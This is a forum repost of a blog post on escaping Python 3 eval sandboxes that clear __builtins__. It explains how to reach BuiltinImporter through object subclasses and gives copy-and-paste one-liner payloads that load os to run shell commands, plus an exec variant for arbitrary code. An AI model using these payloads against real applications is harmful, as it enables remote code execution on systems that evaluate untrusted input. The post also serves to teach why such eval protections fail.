Jump to content
Nytro

Breaking Python 3 eval protections

Recommended Posts

Breaking Python 3 eval protections

 

📅 Jan 16, 2021 · ☕ 7 min read

Today I’m presenting you some research I’ve done recently into the Python 3 eval protections.
It’s been covered before, but it surprised me to find that most of the info I could find was only applicable for earlier versions of Python and no longer work, or suggested solutions would not work from an attacker perspective inside of eval since you need to express it as a single statement.

Since these break every so often, I’ve gone to some length to describe how I arrived at my conclusions to hopefully proverbially ‘teach you how to fish’ so you can work out your own technique should any of the exact solutions I arrived at break in the future.

I have also included a copy-and-paste section at the end of this if you’re in a hurry.

Background

You can skip to the next section if you’re pretty familiar with the inner and outer workings of eval already.

In Python, the built-in command eval will dynamically execute any single statement provided to it as a string (exec is the same but supports multiple statements). It takes the following syntax:

eval(expression[, globals[, locals]])

Of particular interest are the globals and locals parameters, because their purpose is to control which global variables and local variables the evaluated expression has access to.

This is important because in Python, all built-in functions like print, __import__ (can be used to import dangerous modules), enumerate, and even eval itself are provided through a global variable called __builtins__.

When you type a function as-is, this is where it checks if it is defined before it fails.

This is easy to verify by checking for something which does not exist either as a function or variable like, say ,‘potato’. Noting that it gives an error message, then assigning a potato function to the __builtins__ module and calling it and noting that it works.

Assigning potato to the builtin variable makes it callable

As a way to make eval slightly safer, the idea is that you can clear this __builtins__ variable to prevent dangerous built-in functions from being launched. The typical (mis)use-case here from the perspective of a developer is if you need to evaluate a mathematical expression like 2+2/5*8 without writing a complicated parser, simply using eval('2+2/5*8') is seen as an easy solution since it does the job.

So thinking that it would be safe, they choose to code it as eval(input,{'__builtins__':{}},{}), thinking that this means that an attacker-controlled input variable would not be able to cause much harm since it can’t use any of the built-in dangerous functions. This doubly so because eval does not allow you to run multiple statements at once. For example, running eval("1+1;1+1") and eval("1+1\n1+1") will both result in a syntax error and the eval will crash since it’s technically two statements.

The failure mode

You can recover all the built-in globals, even given none to begin with. You can also do this as a single (though convoluted) statement that will work within eval.

In Python, almost everything is an object, by which we mean it inherits from a base class called ‘object’. This including modules, variables, variable types themselves, and functions.

In Python, it is possible to traverse these inheritances vertically in both directions with special attributes like __class__, __base__ (up) and __subclasses__() (down). Because it is also possible to declare the variable types implicitly like list() = [], dict() = {}, str() = "" it is by extension possible to without access to any globals or locals declare variables whose inheritance stems from the ‘object’ class, then explore the space upwards to the object class, then downward through the subclasses downwards to find either the full uncleared built-ins themselves or modules that can be used to import further code (because modules also inherit from the object class). It’s the latter method that I’ll be sharing here.

Finding the builtins

Feel free to play with Python as you read this, but to give you an idea of the amount of subclasses that exist for ‘object’, here’s what my terminal dumps out when I run [].__class__.__base__.__subclasses__():

Terminal output from checking the subclasses of the object class

It’s a lot.

There’s without a doubt multiple ways to go from this point just going by the sheer amount of juicy classes, but a simple way that I discovered of proceeding is to grab the ‘BuiltinImporter’ class from the list of subclasses, then instantiate it, import whatever module you want and have fun.

Less words, more code:

1
2
3
4
# Trying to do anything up here would fail since the builtins are cleared.
for some_class in [].__class__.__base__.__subclasses__():
    if some_class.__name__ == 'BuiltinImporter':
        some_class().load_module('os').system('echo pwned')

The problem with the above is that it won’t run if you place it in an eval because it’s multiple statements. It would work just fine in an exec statement, but let’s keep going down this rabbit hole.

Turning it into a single statement

Your single biggest ally when converting Python code to a single statement is the list comprehension because they are your closest single-statement equivalent when you need a for or while loop.

Roughly speaking, the following code:

1
2
3
4
keep_these = []
for x in y:
    if CONDITION:
        keep_these.append(x)

can be expressed as:

1
[x in y if CONDITION]

This is handy because if you’re looking for one exact element in an interable like how we’re looking for BuiltinImporter in the object subclasses you can do this:

1
[x for x in  [].__class__.__base__.__subclasses__() if x.__name__ == 'BuiltinImporter'][0]

To find that class lickety-split. This works because BuiltinImporter will always be in that subclasses list, and when the comprehension is done the only element of the list will be the found element. It’s worth noting that there’s no equivalent of the ‘break’ statement in list comprehensions, so it’s not technically the most efficient for loop for the purpose since it doesn’t stop when the element is found, but … eh, close enough.

All we have to do then is instantiate it, call the load_module function and presto we’ve got a one-liner.

1
[x for x in  [].__class__.__base__.__subclasses__() if x.__name__ == 'BuiltinImporter'][0]().load_module('os').system("echo pwned")

Tadaaa! Put this in any eval and watch the sparks fly.

Terminal output confirming the payload was successful

You can also call exec as a function under the ‘builtins’ module like [x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'BuiltinImporter'][0]().load_module('builtins').exec('INSERT CODE HERE',{'__builtins__':[x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'BuiltinImporter'][0]().load_module('builtins')}) to run arbitrary code without worry.
Just looking at the one-liner gives me a headache, but basically you just want to assign the correct value to the builtins global for the exec function by using the globals parameter the same way a developer would have to use it to clear it.
For some reason it does not work to assign to __builtins__ directly before you call normal functions inside of exec (like __builtins__= ... ; do_stuff_here) which seems like a bug, but we’re doing things to poor Python it was never meant to endure so let’s cut it some slack.

Copy-and-paste for the impatient

I don’t judge since we all got places to be and things to do but consider reading up on the methodology I used to arrive at this code up above. The exact one-liner seems to break every so often between Python versions, but the technique is solid and you should be able to find your own variants on your own if you grasp how I arrived at these.

Single statement to bypass the cleared __builtins__ global and arbitrarily run os.system calls:

1
 [x for x in  [].__class__.__base__.__subclasses__() if x.__name__ == 'BuiltinImporter'][0]().load_module('os').system("echo pwned")

If you are really desperate to get exec to work (in case you need to launch a multi-line payload), you can do:

1
[x for x in  [].__class__.__base__.__subclasses__() if x.__name__ == 'BuiltinImporter'][0]().load_module('builtins').exec('INSERT CODE HERE',{'__builtins__':[x for x in  [].__class__.__base__.__subclasses__() if x.__name__ == 'BuiltinImporter'][0]().load_module('builtins')})

But don’t bill me for the aspirin you’ll need from reading the one-liner.
 

Sursa: https://netsec.expert/posts/breaking-python3-eval-protections/

  • Upvote 1
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...